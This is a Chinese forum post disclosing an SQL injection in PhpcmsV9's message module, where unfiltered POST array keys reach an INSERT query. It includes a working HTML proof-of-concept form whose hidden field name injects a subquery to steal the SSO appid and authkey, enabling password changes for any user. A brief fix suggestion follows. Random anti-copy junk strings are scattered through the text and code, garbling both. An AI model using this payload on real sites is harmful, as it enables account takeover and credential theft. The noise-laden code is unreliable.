找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2510|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
! _0 O( A! T% T/ p
+ `' K0 U7 t! Y: {- E- d第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。' c! n: b1 W: B

: o* L3 E1 G1 n明天再更新下一个漏洞。
( m3 Q  d- a# [8 [: `5 ]. w详细说明:
$ i8 C5 R. E! i0 \! C1 y在/phpcms9/phpcms/modules/message/index.php中有代码如下:
& ~) a9 `6 w; a! q2 a/ ^
0 t% Z1 J# K2 E* Q8 J- i$messageid = $this->message_db->insert($_POST['info'],true);5 [' v( j* l  N* r

5 G9 l$ x5 ?' C% g# `% a* t* d
: h! |% M* H1 }- F5 ?4 iinsert方法是key value的,代码如下:
: w7 j& @# }0 n4 ?/ s
  k- b: N3 W+ m3 dpublic function insert($data, $table, $return_insert_id = false, $replace = false) {! y( F% l5 v  ?2 Y% {) w2 S1 l
                if(!is_array( $data ) || $table == '' || count($data) == 0) {* s5 w" W# c0 t, D2 M, g& q
                        return false;
0 q8 I+ \0 M- @: i                }9 X  d1 n5 F  g3 P. L
               
. V5 \! z! ?3 }9 k                $fielddata = array_keys($data);
  H. ]; s9 `; `% S! T# `                $valuedata = array_values($data);1 m: ^. l' g/ M5 r  q
                array_walk($fielddata, array($this, 'add_special_char'));, d% P8 l2 N9 Z- V! }; |
                array_walk($valuedata, array($this, 'escape_string'));# g7 H. \6 |' v3 G% Y
                8 K# K( Z  N. H; `
                $field = implode (',', $fielddata);
8 [1 S) ?$ T- P" W" K                $value = implode (',', $valuedata);
7 M) }% |7 @) q( u2 b
; _5 B" x% u# @7 @% k                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';# o4 K3 Y6 t4 T0 c9 h- C! p
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
; N% `7 P8 R5 b/ T$ z& o. e                $return = $this->execute($sql);% V7 i6 y4 o2 E, B. _" D
                return $return_insert_id ? $this->insert_id() : $return;$ B2 s4 w" s# _+ o' W; B) k
        }. L+ X) L, k& p/ \; X
& n; ^) U/ p+ V+ ]! y/ Y

3 E$ B" @. s0 b$ q9 W/ I( T. e. a嗯,很遗憾的是
- v; h& j5 `) {3 [& T0 \! ~: b' Q4 ]7 E4 q# @# J4 w
array_walk($fielddata, array($this, 'add_special_char'));
/ U/ o7 n1 T! Z- O$ ^$ F" b
5 N- N. T) Y) H
7 Z! v& p2 ~/ V- [7 ^6 e: _. P中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。; j' L9 V: F6 f4 O  x4 w* _6 {

8 A8 ]0 t# n8 n* j% P8 a到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。; O7 f2 z$ Z: i" [8 }0 ^
3 V1 K5 J* t; y# U$ J  o
漏洞证明:
; v: J6 U, K9 z$ `$ b3 p. Y' C) a读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
+ b- C& F' ?* b6 q
# {! x6 S$ m0 Y( ]
6 ^& h) F/ K4 ~  j& N* T表单如下:用户名什么的得自己改一改。8 l" ^5 o  g% U
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">) d+ V2 J7 S3 g' q% j4 \
<table width="100%" cellspacing="0" class="table_form">
5 V# U5 A* a' Z9 u& {" f7 a% b<tr>
; Y% a7 d% _8 `, A3 L<th>标 题:</th>7 k6 j& i- x8 z! {) U+ Q
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
5 U! u, p+ Y; U9 b9 L7 `$ Z- a</tr>
& M- i5 u5 k+ h, ~1 [<tr>
& O" u3 S9 e9 k" O<th>内 容:</th># K; X9 A) j4 j" t$ U; n0 ~
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>3 O# g8 m3 Q% a6 q3 s
</tr>
( P% T5 O3 T! N4 @2 d' I* j5 D<input type="hidden" name="info[replyid]" value="2" /> 0 p  }' Y2 B- A, C: z" m
<input type="hidden" name="info[send_to_id]" value="cc" /> ; X+ |* w; ?- Y  Q  e
<input type="hidden" name="info[send_from_id]" value="hh">, P1 f/ _0 a9 p3 w9 j$ g0 @
<!-- 漏洞的利用重点在这里开始 -->
( X% l; ~. i: D6 J5 R5 r9 }  }<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
2 q; B& q  H+ S+ V6 g3 F<!-- 漏洞的利用重点在这里结束 -->
9 V8 {) q2 r2 q4 V5 u( Y) Q! A0 H<tr>; o" k5 |5 C% U$ Z' J% t9 ]5 b# o% K; O
<th>验证码:</th>
/ H$ L  C; _0 C  u0 B. g  }7 E<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>3 ]7 Y: P( u. Z' n. X
</tr>
+ V5 T& ~4 Q1 m6 O( y( m<tr>
( @- q* `' X4 E$ O, D& Y! Z<td></td>
3 i  H7 `5 T" [; Q<td colspan="2"><label>( p) I$ |8 g2 A- \; `4 ~, S2 \
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
; [' N$ ]" J& \! N1 U0 ?  s2 ]</label></td>( `% t4 P3 ]4 ]: w# i# Y( Z/ N
</tr>
9 ^$ L  x) K' ^7 U. n1 f  Z</table>4 }, Y3 |/ t2 [1 D, F
</form>
. C5 y' K# n( J! I% t! r在add_special_char函数内对key做过滤就可以了。
0 D" ~4 X& S; c0 q! W7 g5 ?" T7 s( {  k1 X% U3 H  ^

  b4 n5 p' T% R  t! K8 t. p7 J( R* n

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表